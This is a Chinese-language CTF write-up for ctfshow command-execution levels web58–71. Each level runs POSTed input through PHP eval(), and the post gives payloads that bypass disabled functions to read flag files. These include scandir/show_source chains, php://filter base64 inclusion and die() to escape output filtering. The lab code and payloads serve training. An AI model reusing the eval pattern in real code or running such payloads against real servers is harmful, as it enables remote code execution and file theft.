首页 > 其他分享 >ctfshow web入门 命令执行 web58-71

ctfshow web入门 命令执行 web58-71

时间:2023-02-18 16:12:35浏览次数:49  
标签:web txt web58 .. flag ctfshow file var php

 都是 POST传递参数 执行 eval() 函数

web58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

没有进行任何过滤

输入c=system(ls); 

 

报错:由于安全原因已被禁用,passthru()、exec()、popen()、parse_ini_file()一样被禁用

 

 

fgetss()被弃用

 

 

 

可以采取php内置函数读取目录,也可以采用文件包含传递伪协议方式

 

知识点

  1、读取目录函数:glob()、scandir()、dir()、readdir()

  2、数组指针函数:reset()、current、pos()、end()、next()、prev()、each()、key()

  3、显示文件内容函数:show_source()、highlight_file()

  4、读取文件内容函数:file_get_contents()、file()、readfile()、php_strip_whitespace()

  5、无法直接读取文件函数:fpassthru()、fread()

  6、打印输出函数:echo()、print()、print_r()、printf()、sprint()、var_dump()、var_export()

  7、文件包含函数:include()、include_once()、require()、require_once()

由于自身水平受限,仅知道以上函数,欢迎补充

payload

 此处以 web58 为例,写了多种解法,后续的题都可参考

//一般情况下我们先要获取当前目录,然后读取文件内容
c=show_source(next(array_reverse(scandir("."))));  // .为当前目录,..为上级目录,scandir(".")读出的数组为 .. . flag.php index.php
c=highlight_file(next(array_reverse(scandir("."))));
c=show_source(pos(glob("*")));  //glob("*")读出数组为 flag.php  index.php
c=highlight_file('flag.php');
c=show_source('falg.php');
//这里我们知道 /var/html/www/ 目录中只有 index.php 和 flag.php 两个文件,因此直接读取flag.php,下列需要右击查看源代码 //先读取,再输出
c=echo file_get_contents('flag.php'); c=print_r(file('flag.php')); c=print_r(readfile('flag.php')); c=print_r(php_strip_whitespace('flag.php'));
//需要先打开文件,再读取内容,最后输出 c=fpassthru(fopen('flag.php','r')); c=print_r(fread(fopen('flag.php','r'),1000));

//文件包含
c=include('flag.php');var_dump(get_defined_vars());

//文件包含传递伪协议 POST c=include $_GET[1]; GET 1=php://filter/read=convert.base64-encode/resource=flag.php

然后对获取的字符进行base64解码

 

web59

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

 

代码看着还是一样,但把 readfile()、file_get_contents() 函数禁用了

解法参考58

 

web60

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

禁用 file()、fpassthru()、fread()

解法参考58

 

web61

禁用fopen(),解法参考58

 

62-65

没测出禁用了啥,解法参考58

 

web66

禁用show_source()

假 flag

此处尝试查看其他目录,在根目录发现 flag.txt 文件

c=print_r(scandir("../../../"));

payload

c=highlight_file("../../../flag.txt");  // flag.txt 所在目录为跟目录,可以用 / 代替 ../../../
c=highlight_file("/".pos(array_slice(scandir('/'),6,1)));  //这里提供一种思路,当flag被屏蔽时,php不支持通配符,sql支持

c=include('/flag.txt');  //66-77,出了72、73-76以外都可以使用,注意文件名是否改变,文件路径是否改变

 

 web67

禁用print_r(),可用var_dump()替代,同66

 

 web68

禁用highlight_file()

var_dump() 不能直接读取文件内容,先要使用 php_strip_whitespace() 读取文件内容

 payload

c=var_dump(php_strip_whitespace('/flag.txt'));

 

 web69

禁用var_dump()

常用打印输出函数:echo()、print()、print_r()、var_dump() ,除了这四个还有 printf()、sprint() ,与var_dump() 类似的 var_export()

payload

c=printf(php_strip_whitespace('/flag.txt'));
c=var_export(php_strip_whitespace('/flag.txt'));

 

web70

可以看见禁用了 error_reporting()、ini_set() 、highligth_file()

 

解法同69

 

web71

69 的两个 payload 依旧有效,但输出结果全被替换成 ?

 

 在71关前附加了index.php文件

 

 index.php文件

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

两个都是涉及 php 的输出缓冲区

ob_get_contents():获取输出缓冲区内容

ob_end_clean():清除关闭缓冲区

利用 die()、exit() 终止程序,只执行下列代码

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);

 

payload

//只需要在 69 的基础上加上die();
c=printf(php_strip_whitespace('/flag.txt'));die();
c=var_export(php_strip_whitespace('/flag.txt'));die();


c=include('/flag.txt');die();

 

 

 web72-74、web77

使用 glob:// 伪协议扫描根目录,除72使用uaf脚本,其余都可用 include() 或 require() 方式获取

web73-76

使用PDO连接数据库load_file读取文件

 

72-77看不懂

 

 

 参考

https://www.php.cn/blog/detail/6095.html

https://blog.csdn.net/weixin_43197795/article/details/118113703

 

标签:web,txt,web58,..,flag,ctfshow,file,var,php
From: https://www.cnblogs.com/IFS-/p/17128964.html

相关文章

  • Java Web(三)HTML 和 CSS
    HTML和CSS什么是HTML?HTML是一门语言,所有的网页都是用HTML这门语言编写出来的HTML(HyperTextMarkupLanguage):超文本标记语言 超文本:超越了文本的限制,比普通文本更强大......
  • Java Web(四)JS
    JS什么是JavaScript?JavaScript是一门跨平台、面向对象的脚本语言,来控制网页行为的,它能使网页可交互W3C标准:网页主要由三部分组成结构:HTML表现:CSS行为:JavaScriptJavaScript......
  • 62-CICD持续集成工具-Jenkins构建Golang的web项目
    实现Golang应用源码编译并部署安装Golang环境#编译安装[root@jenkins~]#catinstall_go.sh#!/bin/bashGO_VERSION=1.18.4URL=https://studygolang.com/dl/golang/go${......
  • WEB开发中的页面跳转方法总结
    页面跳转可能是由于用户单击链接、按钮等触发的,也可能是系统自动产生的。页面自动跳转在WEB开发中经常用到,而且根据需求可以采用不同的跳转方式,比如提示操作信息后延时跳转......
  • Webpack中Loader和Plugin
    1.首先两者都是为了扩展webpack的功能2.Loader:webpack视一切文件为模块,但webpack原生只能解析js文件,如果想将其他文件也打包的话,就会用到loader。它只专注于转化文件......
  • 一次web系统的nginx配置恢复
    前言:组里有一个小伙子,为了升级nodejs,安装各种库,把系统给搞崩溃了,无法登录。找运维人员也不行,最后的解决办法换一台机器。幸好原来只有一块盘,所以数据还在。 $mva/b/......
  • Java Web(二)MyBatis
    MyBatis一.MyBatis简介1.什么是MyBatisMyBatis是一款优秀的持久层框架,用于简化JDBC开发MyBatis本是Apache的一个开源项目iBatis,2010年这个项目由apachesoftwarefoundati......
  • Vite 与 Webpack的区别
    1.什么是Vite?Vite是尤雨溪在开发vue3的时候开发的一个web开发构建工具。极速的服务启动:使用原生ESM文件,无需打包!轻量快速的热重载:无论应用程序大小如何,都......
  • 交互式Web前端开发最有用的WebGL框架
    JavaScript是创建Web最有用的编程语言之一,尤其是在WebGL库的支持下。有了WebGL,可以很方便地使用HTML5Canvas元素动态生成图形。因此,设计师和开发人员很容易创建流畅的2D......
  • 黑猫web端signature参数逆向分析
    适合小白练手一、断点调试1.查找关键字2.分析nn是一个随机数16位u是固定参数u="$d6eb7ff91ee257475%"时间戳vard=(newDate).getTime()3.随机数生成o......